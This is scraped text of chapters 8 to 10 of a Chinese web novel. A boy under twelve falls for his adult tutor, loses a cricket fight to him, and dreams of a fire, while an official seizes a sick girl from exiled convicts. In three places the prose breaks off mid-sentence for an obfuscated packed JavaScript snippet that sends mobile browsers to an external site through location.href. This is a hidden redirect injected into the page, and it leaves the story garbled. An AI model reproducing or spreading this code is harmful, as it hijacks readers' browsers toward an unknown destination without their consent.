换做其他人这样近身放肆,晏祁早就冷着脸一脚踹开了。 但明瑾与他来说,毕竟不同于旁人。 晏祁默默在心中说服自己:这孩子可能只是想感谢他,个性又过分热情黏人了些,不会有什么坏心思的。 所以他抬起手,迟疑着拍了拍明瑾的脑袋:“无需挂怀,举手之劳而已。” “可不是举手之劳,”闻着宁先生身上清微素淡的草药香气,明瑾幸福地眯起了眼睛,头一次觉得年纪小也不是没有好处,“那天瘦湖里里外外那么多人,也就只有您挺身而出救了我。” “大恩大德,小子无以为报,不如——” 明瑾抬起头,睁着一双亮晶晶的眼睛看向晏祁。 就让他以身相许吧! 8. 第 8 章 在明瑾把这句惊世骇俗的暴言说出口前,晏祁突然感觉到了一阵没来由的恶寒。 像是冥冥之中,有什么东西在戳着他的脊梁骨似的。 直觉让他率先出声,仓促打断了少年未出口的告白:“我说了,举手之劳而已,不必时时刻刻记挂在心上。” 顿了顿,他又含蓄提醒道:“前面应该就是明家的茶室了,可要进去坐坐?” 他们这个姿势,毕竟……不太雅观。 晏祁暂时还想不到,怀里这个小东西究竟对他存了怎样胆大包天的心思,虽然明老爷说过,明瑾比正常孩童要早熟一些,但他从未真正放在心上。 这孩子从小被明家捧在手心,根本没经历过真正的大风大浪,何谈早熟二字? 晏祁很快就把这个小插曲抛到了脑后,和不知为何,神情颇有些恋恋不舍的明瑾一同进入了茶室。 都说茶室最能代表着一户人家的审美底蕴,他略一眼扫过去,室内窗明几净,幽玄清雅,屋外的潇湘竹影透过菱窗,投照在正对着客座的白墙之上,风移影动,珊珊可爱。 最难得的是作为茶室之中最为大件的茶桌,竟是由一整块玉化古树削平而成。 如此宝物,就连宫中也不多见。 估计是明敖斥巨资购入,用来彰显财力的吧。 晏祁入座,听着明瑾不无得意地为他介绍,垂眸摸了摸那玉化的古树茶桌,心里盘算着这些年来,明敖的生意究竟做了多大,又能在他接下来的谋划之中,起到何种作用。 直到少年人献宝一样地给他捧来一罐茶,又红着小脸支支吾吾讲了半天,晏祁终于抬起头,听明白了他的意思。 原来是特意为自己买的吗? 这孩子当真有心了。 晏祁只当明瑾是感谢自己救了他的命,语气又更加温和了些,像是在哄孩子睡觉似的:“听说你最近在家苦练茶艺,可否让宁某见识一下?” 明瑾当然说好啊好啊。 但心头却掠过一丝疑问: 按理说,自己今日寸步不离宁先生,把他和爹的对话听得一清二楚,可他记得清楚,爹完全没有提及这方面啊。 所以宁先生,究竟是怎么知道自己在家练习茶艺的事的? 这个问题很快被他压在心底。 明瑾抛开杂念,握拳清了清嗓子,学着他爹从前待客的模样,正襟危坐道:“宁先生请稍等片刻,茶马上就好。” 第一步,刮沫…… 第二步,搓茶,然后是摇香…… 第三步,出海,入海…… 多日的苦练没有白费,忽略某些手忙脚乱的小细节,总的来说,明瑾沏茶的动作还算是像模像样。 晏祁静静地坐在旁边等候。 他出神注视着在清冽泉水中浮沉的翠绿叶片,抬头望去,少年郎虽竭力摆出一副行云流水的姿态,但还是因为紧张,不自觉地咬紧了下唇,额头也渗出了一层薄汗。 晏祁不由得晒然一笑。 游走禁宫朝堂间,常年压抑克制的心绪,仿佛也一下子畅快了许多。 他眉宇舒展地想,只是这孩子,之前表现得都挺鬼机灵的,怎么这次见面,看上去倒有些愣头愣脑、不太聪明的样子? 明瑾倒好茶,长吁一口气。 抬头时,发现宁先生似乎在盯着自己的胸前的长命锁发呆。 暖风穿堂入室,轻扬起他的鬓发。 宁先生放松地依靠在椅背上,背后是一片萧萧翠竹,他随手将那缕发丝拨笼到一旁,神情疏淡,犹如一缕清风融进了画里。 明瑾只觉得自己的心跳像是漏了一拍。 他慌张低下头,拨弄了两下玉锁缓解紧张。 听着那清脆铃响,脑海中又闪过那日在瘦湖里看到的画面—— 那枚和他一模一样、沉落湖底的玉锁,当真只是幻觉吗? 他定了定神,忍不住出声问道:“宁先生可认识这玉?” 晏祁从鼻子里挤出一声上扬的音调,明瑾便当他是不知,自顾自地介绍了起来:“这是我出生时,母亲为我打的坠铃鎏金玉麒麟长命锁,上刻‘平安如意’四字。” 他笑道:“还要多亏那日宁先生见义勇为,否则我不会水,只能连人带锁一起沉湖,到今日,恐怕头七都要过了。” “——先生请喝茶。” 他把茶杯双手捧到晏祁面前,眼巴巴地看着对方。 晏祁喝过很多人敬的茶,对茶叶的品质也略有研究,只是粗略一观,便知道这应当是本季的春茶。 对于江南一带的富贵人家来讲,品质算是中上; 但若是和他平时喝的贡茶相比,那就差远了。 可他看了一眼明瑾故意藏在桌子底下的手,想到方才惊鸿一瞥时,少年手指上隐蔽的烫伤,不由得微微动容。 “茶水甘冽清甜,很不错。” 明瑾露出一抹不好意思的笑容,腼腆的神情下藏着抑制不住的雀跃和欢喜。 如果可以的话,少年恨不得把全天下最好的东西都捧到心上人面前,“宁先生谬赞了,我再给您泡一壶?” “不必,足够了。”晏祁婉言拒绝,“对了,你父亲可有跟你提过我的来意?” 明瑾眨巴了一下眼睛,疑惑道:“您不是来为我剪发的吗?” “这只是目的之一,”晏祁耐心道,“你父亲同我商量,自今日之后,只要有空,我便会来明府为你上课。” “上课?” 明瑾还来不及欣喜他们之后会经常见面,就被这两个字砸得头晕眼花。 他呆坐在座位上,一时表情五彩纷呈,不知是该哭还是该笑。 晏祁有些好笑地看着这孩子努力在他面前佯装镇定,但那副天塌了的表情,就差明摆着写在脸上了。 他抿了口茶,故意问道:“怎的,不欢迎我?” “没有没有!”明瑾拼命摇头否认,磕磕巴巴道,“我只是……只是不明白,为何爹会动了这样的念头?我乃商贾之子,能进云英书院念书已经算是万幸了,根本没有考科举的资格啊!” “可能正是因为如此,所以你父亲才不放心吧,”晏祁淡淡道,“书院所授之课,大多是纸面经书,教条规矩,有些道理,还是得另外找人来教才是。” 明瑾眼神怀疑:“比如说?” 比如说,帝王之术。 但晏祁自然不能如实相告。 他凝视着面前一无所知的懵懂少年,再次喝了一口茶,微微一笑: “放心,你很快就会知道的。” 虽然明瑾仍有些不明所以,但不可否认,他成功被晏祁的平和态度安抚到了。 当然,最主要的原因,还是因为给他上课的人是宁先生。 要是换了老丁头,他肯定今晚就收拾包袱离家出走。 ——算了,上课就上课吧!小爷就舍命陪君子一回! 明瑾大义凛然地在心中做出了决定。 “那,今天就开始吗?”他犹豫着问道。 晏祁听出了明瑾语气中的不情愿,他摇了摇头:“不必那么着急,我们可以先随便聊聊。你平日可有什么爱好?” “那可太多了!” 一提起这个明瑾就来劲了,立马掰着手指头开始和他数,“天气好的时候和朋友一起去打马球,踢蹴鞠,逛夜市,要是天气不好,就到戏院子里看皮影戏和杂耍……” “哦对了,还有斗蛐蛐!我养的蛐蛐叫常胜将军,可厉害了!” 兴冲冲说完,明瑾突然反应过来: 坏了。 一不小心原形毕露了。 这番话任谁听了,都会觉得他明瑾是个玩物丧志不堪造就之辈……呜,这可是他在宁先生面前好不容易才树立起的正面形象! 但当明瑾忐忑抬头,望向晏祁的那双金眸时,却只看到了瞳孔中一闪而过的淡淡笑意。 “是吗?” 晏祁以手支颐,仿佛完全没察觉到明大少爷顽劣的本性。 他似是不经意地反问了一句,被皮革包裹的修长指尖轻点着桌面,不紧不慢道,“那正好,我府上也养了几只蛐蛐,要不要比一比?” 本以为会被严肃训斥的明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晏祁微微一笑:“你自然也可以提要求。” “我……” 明瑾忽然犹豫起来。 他飞快地看了一眼晏祁把玩着瓷杯的修长大手,耳根又蹭地一下火烧火燎起来。 宁先生的手生得宽大,漆黑的麂皮手套贴合骨节,勾勒出线条流畅的手型,凸起的腕骨连接着筋脉浮凸的小臂,看似高挑瘦削的身形之中,却蕴藏着不可小觑的力量。 怪不得那日他被宁先生从湖里强硬捞上岸后,手腕和腰上都泛起了青紫,指印至今都还没完全消退呢。 明瑾抿了抿唇,突然想起前几日张牧在学堂上神秘兮兮塞来的几本话本。 虽然他没翻完,但其中有两册,写得好像便是师生恋。 内容也相当之炸裂—— 什么男学生为救先生卖身青楼啦,科举高中后迎娶女师、洞房当晚却惊见先生喉结啦*……当时下堂课正好是老丁头来上,他才翻了两页就一脸嫌恶地丢到了一边。 现在看来,是丢早了啊。 晏祁有些疑惑地看着面前的少年呆愣了片刻,突然面红耳赤地抢过茶杯,仰起头,吨吨一口气灌了个干净。 “怎么,不赌了吗?” “没什么,”明瑾偏开头,不敢再多看下去了,他怕给宁先生买的一罐茶都不够他自己喝的,“我可以跟你赌,但我——我暂时还没想好要你做什么,这个要求就先放着,可不可以?” “可以。” 晏祁答应得十分痛快。 因为这个赌约,他本就不可能输。 他对斗鸡走狗养蛐蛐这些把戏,虽不说深恶痛绝,但也丝毫没有兴趣在这上面浪费财力精力。 府上的那些蛐蛐,都是替宫里那位养着的。 那些可都是集大雍全国之力千挑万选出来、性情最为凶猛好斗的蛐蛐,这孩子比什么不好,非要跟他比这个。 说实话,晏祁自己都觉得有点儿愧疚。 这不妥妥是欺负小孩吗? 良心驱使他浅抿了一口明瑾亲手泡的茶,以此缓解尴尬。 唔。 良心更痛了。 但看着面前少年跃跃欲试的样子,晏祁支着下巴,忽然又有些想笑。 他真的不太擅长哄孩子。 所以说…… 待会儿,可别哭太惨啊。 9. 第 9 章 和晏祁所料丝毫不差。 明瑾一败涂地。 “不可能!绝对不可能!” 少年趴在六脚朝天直抽抽、眼看着再也抢救不能的蛐蛐边上惨叫出声,还拼命用竹签捅.着它的屁股,“常胜将军,你赶紧起来再战啊!起来咬死对面!不能给你家主人丢脸啊呜呜呜……” 明瑾再一次觉得自己没脸见人了。 刚才还信誓旦旦地跟宁先生拍着胸脯保证,说自己打遍学院无敌手,明瑾甚至都想好了,等下自己“险胜”之后该如何自谦,又该怎么安慰宁先生。 结果未曾想到,被自己寄予厚望的常胜将军,一上场就跟吓破了胆似的,满脑子只想着逃跑! 明瑾不甘心,逼它正面对敌,结果直接叫它一命呜呼了。 罪魁祸首还耀武扬威地在旁边蹦跶,看得他是气不打一处来。 明瑾又伤心又后悔——伤心是因为输了比赛,后悔则是觉得,自己不该这么逼常胜将军上战场,非要它去打一场打不赢的仗。 他不是一个合格的主帅,呜。 少年眼泪汪汪地看着彻底没了生气的常胜将军,暂时也顾不上晏祁了,只闷声道了一声抱歉,便捧着它出去了。 他在后院池塘边摘了片荷叶,小心翼翼地把常胜将军放在荷叶上,轻轻一推,任它在水上飘远。 晏祁起身慢悠悠跟在他身后,围观了葬礼全程。 见状,他有些欲言又止。 没等他开口提醒,就见一只锦鲤跃出水面,灵巧一吸,常胜将军就此成了鱼腹之中的一顿美餐。 明瑾:“…………” 余光看到某小孩天塌地陷的表情,晏祁拍了拍他的肩膀,神情淡然,可惜声调还是忍不住泄出一丝笑意: “六道有轮回,自然有成理,莫要伤心了。” 明瑾幽怨地看了他一眼,吸了吸鼻子。 居然都不提醒他,讨厌。 “你赢了,”但他可不是那种明明输了还会哭闹耍赖的没品家伙,虽然还在为常胜将军伤心,明瑾还是决定,要认真履行和宁先生的赌约,“下次小考在下个月,这段时间,我会好好上课念书的。” 考到前二十,与他来说其实并不算难。 明瑾只是单纯不爱学习,所以落下了不少课业。 “但我有个问题,”他好奇问道,“宁先生为何会在府上养这么厉害的斗蛐?” 正是因为明瑾自己养过,才知道养好一只斗蛐究竟有多费钱。 买下一只好品种的价格本就昂贵,若是想要斗蛐一直保持良好的状态和战斗力,后期各种养护费用更是不得了。 普通人家的子弟一旦迷上这个,轻则伤财荡业,重则家破人亡。 要不是因为明家有的是钱,他肯定也不会碰这种东西。 但明瑾并不觉得宁先生会真心喜欢这种斗鸡走狗之事。 在他眼中,像宁先生这样的人,一看就知道是高门豪族出身,合该日日与书琴茶香作伴才是。 “受人之托。” 晏祁似乎并不想多提此事,“说起来,这蛐蛐没有名字,养其者称之为‘乙十一’,你知道是什么意思吗?” 明瑾不可置信,同时也很是泄气:“难不成,比它厉害的还有十只?” 要真这样,那他还养什么蛐蛐? 干脆和他一起打包喂鱼得了! “聪明,”晏祁夸奖了他一句,“既然如此,你应该也清楚,乙等之上,还有甲等,里面随便拎一只出来,都能将全京城达官贵人家里当成宝贝的斗蛐打得毫无还手之力。” 明瑾听着不对劲:“这么厉害?宁先生,您家该不会是专门养斗蛐的吧?” 都说术业有专攻,敢情他这么倒霉,直接和宁先生比上老本行了? “略有涉及。”晏祁道,“不过我会的东西很多,今后都会一一教给你的。” 明瑾小心翼翼问道:“那咱们下次课学什么?” 晏祁意味深长地看了他一眼。 在明瑾忐忑的注视下,他给出了一个出人意料的答案: “学凫水。” “什么?太好——咳,我的意思是,先生居然连这个都教吗?” 刹那间,明瑾心花怒放。 “我也不想教,奈何有人上次差点把命丢在水里,为人师表,在传道受业前,自然得考虑如何先叫学生保住自己的小命。” 明瑾小脸一红:“先生说笑了,我那次只是意外,意外而已。” 晏祁也不与他争辩,反而很善解人意地转移了话题,说既然来了园中,不妨就到亭子里坐坐吧。 午后天气晴朗,阳光正好。 从檐廊下望去,入目所及,皆是一派春日生机勃勃的景象。 并肩走过池上小桥时,明瑾注意到水面上两人交叠的影子,既高兴于宁先生对他毫无保留的亲近,又忍不住悲伤地想,为何自己比宁先生矮如此之多? 虽说自己还未满十二,可个头才将将到宁先生的胸膛,未免也忒叫人沮丧了些; 更别提他的细胳膊细腿儿,根本不及宁先生那英伟潇洒的宽肩窄腰半分,就连瞳色也是平平无奇的黑,泯然大众矣…… 明瑾越想越生气,偷偷踮起脚尖,看到身后高了一截的影子,内心勉强得到了一些安慰。 同时,他也暗暗在心中下定决心: 眼珠子是娘胎里带的,没办法了,总不能抠出来染色; 但自己今后一定要多吃肉多干饭,争取在及冠前超过宁先生! 殊不知,他这些自以为隐蔽的小动作,全都被一旁的晏祁收入眼底。 少年心思天真稚嫩,晏祁顾忌着明瑾面皮薄,好心未戳破,收回目光时,唇角却微不可查地扬起了一丝弧度。 两人在亭子里就座。晏祁不是那种过分追求礼仪尊卑的老古板,明瑾又是个惯会打蛇顺棍上的,熟悉之后也放松了许多。 自打坐下,他那张小嘴儿叽叽呱呱就没停过。 他毕竟年少,心思纯净,晏祁又有意隐瞒自身情况,所以一个说一个听,明瑾没多久就把自己的老底全都交代出去了。 “宁先生你不知道,那个魏金宝可讨厌了!” 虽说是抱怨,但明瑾的言辞神态间却带着显而易见的亲昵,还故意挪了挪身子,很心机地离心上人更近了些。 “我进云英书院还没到一年时间,他光针对我挑事就足足有三次,这次还想让老丁头狠罚我们,哼,还好没成功,不然小爷我肯定跟他没完!” 他说顺嘴了,也没注意到自己一不小心又秃噜嘴,把平时惯用的外号和自称全用上了。 瞧那眉眼飞扬的模样,活脱脱一位初具峥嵘的混世小魔王。 听着这些少年人幼稚的意气争斗,晏祁倒也没不耐烦,相反,还若有所思地问他:“姓魏,难不成是魏相家中的子弟?” “是啊是啊,”明瑾小鸡啄米点头,“这家伙就是仗着他爹才能在书院里横行霸道,不然早就被人套麻袋狠揍一顿了!” “你不怕吗?” “我怕什么?”明瑾嘴硬道,“我们家和魏家井水不犯河水,我老爹虽然只是商人,但也不是那种任人欺凌的小门小户——况且一开始就是那姓魏的没事找事!” 看他那咬牙切齿的模样,显然对魏金宝怨气很大。 晏祁笑了笑:“若是那魏金宝叫他爹来给他撑腰,你待如何?” “我……” 明瑾张了张嘴,很不爽地扭过头,小声道:“还能怎么办,该认怂时就认怂,自然是留得青山在,不愁没柴烧呗。” 但他很快补充道:“不过这基本不可能。先不说一国丞相日理万机,为什么还要来管这种芝麻大的事情;就算他真管了,我爹也可以说不过是孩子之间的玩闹,领着我上门道个歉再送点礼,糊弄过去不就完了?” “倒也不傻。”晏祁点评道。 明瑾听这话不太像夸奖,讷讷道:“难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171809|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不成,宁先生还有更好的办法?” 说归说,但要他真的上门给魏金宝道歉送礼,那绝对是比被罚扫一百间茅厕还要屈辱的事情。 明瑾一想到那混账可能表现出的嚣张得意模样,就觉得简直难以忍受。 “兵书三十六计,可有学过?” 明瑾实诚摇头。 再重复一遍:他不爱看书,讨厌学习。 上次在学堂主动默背诗句只是例外,换做以往,家里那些旧书经义,他烧柴火都嫌不够旺呢。 晏祁的指尖轻点了两下栏杆:“既如此,那改日我便叫人把兵书给你送来吧。” “事先说好,这不算是给你留的课业,我也没空教你这些,但你若是想要收拾那魏金宝,可以先自己研习一番,若有想法,提出来与我讨论,作为老师,指点一二还是没问题的。” 明瑾眼前一亮。 宁先生这意思是,只要他把那本书看完,就帮他出主意对付魏金宝? “真的吗?”他迫不及待道,“宁先生,君子一言——” 晏祁抬手,与他击了个掌: “快马一鞭。” 和先前答应赌约时,那不情不愿的模样相比,这回明瑾连语速都快了不止一倍。 毕竟人在干坏事的时候,都是既不怕苦又不怕累的。 比起应付宫里喜怒无常的那位,晏祁对明瑾这么个半大孩子可以说是手拿把掐。 见今日目的达到,他也顺势起身,借口说天色不早,自己叨扰已久,准备和明家夫妇打声招呼便回去了。 “先生这就要走了吗?”明瑾颇为失落。 这都不到两个时辰,他还没和宁先生相处够呢。 但他也知道心急吃不了热豆腐的道理,于是乖巧起身:“那我送送先生吧。” “好。” 走到一半,明瑾突然停下脚步,一拍小脑袋:“对了,先生等我一下!” 在晏祁疑惑的注视下,他猛地翻过栏杆,三两下爬上院中硕果缀满枝头的樱桃树,却在爬到顶时犹豫了一下,似乎是苦恼于无法多摘些果子下来。 还好明瑾脑袋里别的没有,就是鬼点子多。 他直接把外衣脱了,猛地拽住树杈摇晃了几下。 树冠震颤,明瑾顺势兜住满满的樱桃,低头仔细挑出一些小的烂的丢到树下,这才揪住衣角,将其仔细打包起来。 “江南一带樱桃难成活,我们家里的这棵樱桃树都长了好几年了,今年刚结了果,说来也巧,正好就碰到先生来。” 少年青春活泼的脸颊掩映在绿叶红果之中,他冲晏祁扬起一抹大大的笑容,比湛蓝晴空中的太阳还要灿烂夺目。 “也好叫先生尝尝,我家这果子可甜了!” 晏祁下意识停下脚步,仰头望去。 或许是日头正盛,抑或是明瑾的笑容太过灿烂,他站在廊沿的阴影下,下意识眯了下眼睛。 不等开口,却见这孩子竟直接用牙叼着布包,手脚并用地从树上爬下,但因视野被妨碍,明瑾脚一滑踩空,眼看着就要摔下来。 晏祁神色一凛,疾步上前,一把将人接在了怀里。 长命锁的铃声清脆,撞了他满怀。 晏祁低头,看到少年靠在自己胸前劫后余生地喘了两口气,额头汗津津的,小脸都吓白了,却还顾忌着为他摘的樱桃,一直牙关紧咬未曾放松过。 ……幸好门牙漏风,不然估计连气都喘不上来呢。 察觉到他看过来,明瑾紧张又激动地朝他咧嘴一笑,反应倒是跟上次一样迅速,晏祁只是一晃神的功夫,就发现这孩子已经手脚并用,牢牢扒在他身上不下来了。 耳畔还传来含糊的像是蜜糖一样、话里话外都是甜滋滋的声音: “先生又救了我一次!先生真好,不如再留下来吃顿便饭吧?” 晏祁:“…………” 他费解心想: 这孩子,对人是不是太热情了点? 10. 第 10 章 宁先生收了他的果子。 但还是没留下来吃晚饭。 说是晚上还有一件小事要去处理,就不便多留了。 明瑾很失望。 强撑着笑脸把人送走后,他瞬间跟打了霜的茄子似的,无精打采,又蔫又瘪地走开了,连明老爷在后面叫了他两遍都没听见。 到了晚上,更是像幽魂似的在堂前堂后荡来荡去。 时不时还对月长叹,发出几声忧伤的叹息。 文轻尘被他晃悠得眼花,忍不住道:“小小年纪,有什么可愁的?人家是大忙人,能陪你一下午已经很难得了,哪像你一样,成天甩着个膀子无所事事。” “我怎么无所事事了?”明瑾抗议,“宁先生临走前还给我布置了任务呢!” “什么任务?” “这是我和宁先生之间的秘密,才不告诉娘!” 明瑾吐了下舌头,一溜烟地跑回自己屋看书去了。 文轻尘在后面叉腰瞪着他:“这臭小子!还秘密,这才哪到哪,就开始胳膊肘往外拐了?” “夫人消消气,”明老爷习以为常地在旁边当和事佬,“俗话说的好,儿大不由人呐。再说了,孩子有自己的隐私是好事,说明他长大了,咱们当爹娘的也该学会放手才是。” “……理是这么个理,但你不觉得,他这几日的行为举止反常的很吗?”文轻尘苦恼道。 “你说他到底喜欢的是哪家姑娘?该不会真是公主吧?” 明老爷欲言又止。 他自然察觉到了,但并不觉得情况有文轻尘说的那么糟糕。 毕竟大雍目前唯一的一位公主,年纪比明瑾小两岁,而之前明瑾跟他讲的那一位心上人,却是比他要年长。 他把这件事告诉了夫人,宽慰道:“都说儿孙自有儿孙福,瑾儿有喜欢的人,这是好事,咱们做长辈的,尽量支持他就好。” “也是,这事儿咱们急不来。” 文轻尘不是好纠结的性子,很快就自己想通了,“瑾儿的婚事,将来还是由那位来操办最好,以他对瑾儿的在乎,想必一定会为瑾儿觅得一位良配。” 明老爷连连点头:“是极,是极。” 两人谈话时,都没注意到躲在门外偷听的明瑾。 他本是回来拿糕点的,今晚后厨做了他最爱的梅花糕,明瑾失落归失落,但一点儿也没亏待自己,一口气吃了四五个,晚饭都没怎么好好吃。 糕点不顶饱,明瑾又正是半大小子吃穷老子的年纪,这才一会儿功夫就又饿了,巴巴地跑回来觅食。 没想到回来正好听见文轻尘的最后一句话,这下糕点也顾不上吃了,趁着爹娘还没发现自己,他一路小跑回屋,乐得倒在床上,抱着被褥滚来滚去。 在明瑾看来,文轻尘的这句话,基本就等同于只要宁先生同意,他们就可以结为夫妻,啊不,是夫夫了! 娘真好!他爱死娘了!! 少年在床上发泄了一通白日里无处释放的精力,直到把自己折腾到气喘吁吁,这才放松身体,无所顾忌地往后一倒,重重摔在凌乱的床铺上,出神地盯着头顶的帷帐发呆。 什么魏金宝,什么老丁头,在明瑾眼中,现在压根儿都不叫个事。 他满心满眼只有宁先生。 明瑾很珍惜地回忆着白日里他们相处的短暂经历,每一个细节都回想了一遍,从宁先生的动作表情再到他衣袖上的花纹细节,像是在偷偷品尝一块藏了很久、但一直舍不得吃的糖。 他想啊想,又想到了宁先生笑起来的样子,眼神温和地看着自己的样子,还有与自己并肩说话时的样子…… 好半天,才发觉自己的脸有点儿疼。 明瑾揉了揉脸蛋,有些赧然地发现,自己竟不知不觉把脸笑僵了。 他用力拍了拍自己的脸颊: 振作一点小明! 你不能这么没出息啊! 虽然在心里这么想着,可明瑾还是控制不住自己发散的思绪。 方才娘说,宁先生在乎他。 他应该高兴的。 但明瑾却罕见地觉得胸口有些发闷,他皱着眉头揉了揉,怀疑自己可能是晚上糕点吃多了。 宁先生长得好看,气质学识也很出众,包括自己在内,肯定有很多人喜欢他。 但他们的年纪差距摆在这里,他真的能等自己长大吗? 明瑾烦恼地翻了个身。 他面朝墙壁,竖起两根指头,大拇指曲起,模仿那日宁先生负手而立的姿态,对着自己压低声音道: “明瑾,我心悦于你。” 话音刚落,他就立马把通红的小脸埋进了被褥里,只露出一双闪烁羞赧的眼睛,还很警觉地往背后看了一眼,确定屋里没人之后,这才松了一口气。 许久后,从被窝里传来一声细声细气的回答: “我也是。” 明瑾心满意足地搂着“宁先生”睡着了。 就连在梦里,都还在幸福地吧唧着嘴:“先生别喂我糕点啦,真的吃不下了……” 满月高悬。 风乍起,瘦湖之上,泛起粼粼寒波。 白日里人声杂沓,语笑喧阗的湖畔,此时却犹如阎王殿一般,鬼哭暗泣之声此起彼伏。 一群身带枷锁、形容狼狈的流放刑徒跌跌撞撞地走在出城路上,其中不乏年过花甲须发花白的老人,和年纪尚幼的总角稚童。 从打扮样貌来看,这些人似乎都出身同一家族。 队伍里最小的,是个不过六七岁的女童。 她烧得小脸通红,被神情恍惚的母亲抱在怀中,嘴唇皲裂,气若游丝,若是再无医师救治,眼看着是活不长了。 可戴罪之身,又即将被发配到荒郊野岭之处,连口干净水都喝不上,到何处寻医师呢? 她的母亲绝望地咬开手指,颤抖着伸进女童的口中。 滚烫的鲜血濡湿了她干裂的唇舌,却无法挽救她越来越微弱的气息。 “娘……” “阿囡……阿囡……” 哭声回荡在夜幕暗林之中,惊起寒鸦无数。 负责押送的官兵不耐烦地啧了两声,正要挥鞭斥责,余光注意到后方疾驰而来的马匹,忙放下长鞭,讨好道:“同知大人,不知为何来此?” 金柳似笑非笑地瞥了他一眼。 “怎的,本官做事,还要先向你汇报不成?” 那人顿时脸色一白,神色惶恐地连声道不敢。 金柳居高临下地睨了他一眼,狭长的眼眸似毒蛇般阴冷:“好生护送黄大人的家小上路,等到地方了,自会有人接应你们,若是路上敢玩忽职守,你好自为之。” “是,是!大人放心,小的一定尽心竭力……” “还有,”金柳懒洋洋地颔首示意,“那丫头模样生得不错,正好教坊司那边缺人手,本官欠他们头儿一个人情,就用她来抵吧。” 那人一愣,虽说这不太合规矩,但教坊司本身也是犯人妻女发配之地,流放途中,孩童本就容易夭折,少一个人,倒也算不上多为难之事。 于是他立刻应下,大步走到队伍中,强硬地从那嚎哭的母亲怀中拽出女童,讨好地抱来给金柳。 他还很狗腿地搓手询问道:“大人,这丫头看起来病得快死了,要不等小的先找人医治一番,再送到您府上去?” 什么教坊司,不过借口罢了,他连提都没提。 果然,金柳用赞许的眼神看了他一眼,点了下头。 “阿囡!!!” 不远处披头散发的妇人状似疯癫,尖叫着要扑上来与他们拼命,但手无寸铁的女子,哪里比得上官兵? 微末反抗,自然很快便被镇压下去了。 金柳翻身下马,走到眼神怨毒的妇人面前,拿脚尖踢了踢她的肩膀。 “好熟悉的眼神,”他负手而立,笑眯眯地看着浑身一颤的妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171810|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,“和你丈夫临死前骂我‘狗官’时,简直一模一样。” 妇人气得浑身发抖:“混账!你——” ”不过本官可真是冤枉啊,”他装模作样地长叹一声,“明明治致他于死地的人是宁王,为何都对本官喊打喊杀?亏本官之前还体谅黄大人一届老臣,身子骨羸弱,没对他用过什么大刑来着。” 妇人瞪大了眼睛,满是血丝的眼珠死死地盯着他,像是被金柳的无耻震惊到了,半晌都说不出话来。 至少一旁偷听的官兵就是如此腹诽的。 “行了,把人带走吧。” 金柳像是失去了和她对话的兴致,摆了摆手,一脸无趣地转身。 “那位大人也真是,非要叫人大半夜起来干活,抄个家还要偷偷摸摸的,不知道还以为咱们才是做贼的呢……唉,看花不成,赏月也不成,俸禄又几年没涨,这日子过得,可真是没滋没味。” 这话官兵可不敢接,只好干笑一声打岔过去。 把这尊难搞的大神送走后,他重新冷下脸来,扭头继续朝着骚动的队伍喝道:“看什么看?赶紧上路!” 趴在地上的妇人被家族中的其他人搀扶起身,踉跄着继续往前走。 旁人劝她看开些,她只是闭目流着泪。 一言不发,却也不再回头。 * 后半夜。 明瑾睡得并不踏实。 他被恍若沸腾的炽热火焰包围,滚滚浓烟袭来,酷热、窒息、闷呛,明瑾惊恐地想要逃跑,却发现四肢无力,连翻个身都难。 想要张开嘴呼救,发出的却是婴儿啼哭的声音: “哇——哇——” 好热……呼吸不了…… 明瑾躺在废墟里,握紧双拳,哭得撕心裂肺。 他隐约知道自己是在做梦,但怎么也醒不过来,只能绝望地困在火场深处,等待救援,或是死亡将他从梦境中唤醒。 但他一直没有等来任何人。 烈焰轰燃,喷出雨点般的火星。 头顶的屋瓦片片掉落,露出其后的蓝绸似的深沉夜幕,和浩渺无穷的璀璨星河。 这是江南看不到的壮阔景象。 但明瑾却没工夫也没心情欣赏,他惊恐看着那根熊熊燃烧的房梁朝自己的脸颊砸来,下意识闭上眼睛,耳畔却传来一声颤抖的闷哼。 是谁……? 恍惚中,他看到一道并不算高大的身躯挡在了自己身前。 是位少年。 空气中弥漫着血肉烧焦的气味,明瑾被瞳孔骤缩,发现对方竟用手死死撑住了那根燃烧的粗木,猛地用力推到了一边! 熊熊烈火之中,少年长发披散,低垂着头,单膝跪地,气息凌乱急促。 他的双手鲜血淋漓地垂在身侧,十指不同程度地扭曲着;浑身浴血,光是背后的伤口就不下七八处。 少年的脊背因为剧痛而控制不住地颤抖,身体却拱成桥状,牢牢地将明瑾护在了身下。 ‘你怎么样?’ 明瑾焦急地想要开口询问。 但一张嘴,发出的依旧是婴儿的哇哇哭声,不由得气恼。 眼前的画面逐渐模糊。 他忽然意识到,自己要醒了。 不、等下,至少得让他看清楚脸吧? 明瑾拼尽全力伸长脖子,想要看清那名少年的长相。 可就在对方艰难起身,即将低头看向他的刹那…… 梦境戛然而止。 明瑾带着一身冷汗睁开双眼。 晴儿居高临下地望着他。 两人对视片刻,晴儿粲然一笑,声音中带着几分揶揄:“少爷,昨夜睡得好吗?” 明瑾还没完全从梦境中回过神,闻言,愣头愣脑地点了下头。 